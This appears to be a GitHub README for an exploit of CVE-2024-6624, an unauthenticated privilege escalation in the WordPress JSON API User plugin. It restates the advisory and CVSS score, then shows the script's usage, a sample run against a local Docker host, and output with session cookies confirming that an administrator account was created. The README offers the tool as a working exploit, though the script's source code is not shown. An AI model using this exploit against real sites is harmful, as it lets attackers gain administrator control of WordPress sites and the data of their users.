randomrobbiebf/cve-2024-6624JSON API User <= 3.9.3 - Unauthenticated Privilege Escalation
JSON API User <= 3.9.3 - Unauthenticated Privilege Escalation
The JSON API User plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 3.9.3. This is due to improper controls on custom user meta fields. This makes it possible for unauthenticated attackers to register as administrators on the site. The plugin requires the JSON API plugin to also be installed.
State: PUBLISHED
Score: 9.8
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Privileges: None
Attack Vector: None
References:
- https://plugins.trac.wordpress.org/browser/json-api-user/trunk/controllers/User.php#L51
- https://plugins.trac.wordpress.org/changeset/3115185/
- https://plugins.trac.wordpress.org/browser/json-api-user/trunk/controllers/User.php#L187
usage: CVE-2024-6624.py [-h] -u URL [-un USERNAME] [-p PASSWORD]
WordPress User Management Script
options:
-h, --help show this help message and exit
-u URL, --url URL Website URL
-un USERNAME, --username USERNAME
WordPress username
-p PASSWORD, --password PASSWORD
WordPress password
python3 CVE-2024-6624.py -u http://kubernetes.docker.internal -un test -p testest123
Registration Response:
{
"status": "ok",
"cookie": "test|1727176928|2KSZ0T0maNhdNfQwcwgqForXPZpfGXuC8XHaje57whM|e724bfd3ee1103a9ba8431cd357ca5cd5387f836f3cb3c761050bd4a0a0e7b56",
"cookie_admin": "test|1727176928|tOXMV0zq3m368KcQzNaw5zbdGBoYYrrIByOAGWX6gdo|9b003b21babd93c4490fc6ace4b768c2201317957dd0f7c1766c142cfb5f2647",
"cookie_name": "wordpress_logged_in_e2df32a6c3e7076dd7dc7d3f3fec39aa",
"user_id": 41,
"username": "test"
}
A new user with Administrator rights should of been now registered on http://kubernetes.docker.internal with the username test and password of testest123